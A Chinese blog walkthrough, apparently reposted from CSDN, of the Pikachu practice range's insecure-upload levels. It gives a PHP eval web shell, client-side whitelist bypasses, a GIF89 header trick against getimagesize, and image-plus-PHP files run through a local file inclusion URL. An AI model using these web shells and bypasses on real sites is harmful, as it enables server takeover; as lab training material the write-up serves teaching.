pikachu靶场练习之不安全文件上传

客户端check

方法一:
检查前端
在这里插入图片描述
在这里插入图片描述
我们先上传一个非图片的后门脚本 hack.php:

<?php 
	@eval($_POST['hack']);
?>

在这里插入图片描述
虽然前端的函数用了白名单进行过滤, 但是并不是安全的。
可以通过修改网页源码的方式来绕过:
在这里插入图片描述
就可以上传成功了

方法二:
新建一个1.jpg,内容是<?php @eval($_POST['test']);?>
选择1.jpg后,上传同时抓包
在这里插入图片描述
改成1.php
在这里插入图片描述
用中国菜刀连接

服务端check

和第一题一样的抓包
在这里插入图片描述

getimagesize(

,getimagesize函数更是限制了上传文件的文件头必须为图像类型。
假如我们尝试上一关的方法, 是不能通过图片内容检测的:
上传1.jpg
在这里插入图片描述
方法一:
添加jpg图片的格式头到脚本
hack.jpg

GIF89
<?php   
    phpinfo();
?>

在这里插入图片描述
服务器将木马文件解析成了图片文件,因此向其发送执行该文件的请求时,服务器只会返回这个“图片”文件,并不会执行相应命令。

利用 文件包含漏洞 可以将图片格式的文件当做php文件来解析执行:
http://localhost/pikachu-master/vul/fileinclude/fi_local.php
?filename=…/…/unsafeupload/uploads/2021/01/28/1807036012659735311527944868.jpg
&submit=提交查询

在这里插入图片描述

方法二:
jpg+php组合拳即用图片合成木马
用cmd
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以用winhex查看一下在这里插入图片描述
在这里插入图片描述
http://localhost/pikachu-master/vul/fileinclude/fi_local.php
?filename=…/…/unsafeupload/uploads/2021/01/28/77254160126a696a14a467388821.jpg
&submit=提交查询

猜你喜欢

转载自blog.csdn.net/qq_51558360/article/details/113338252
今日推荐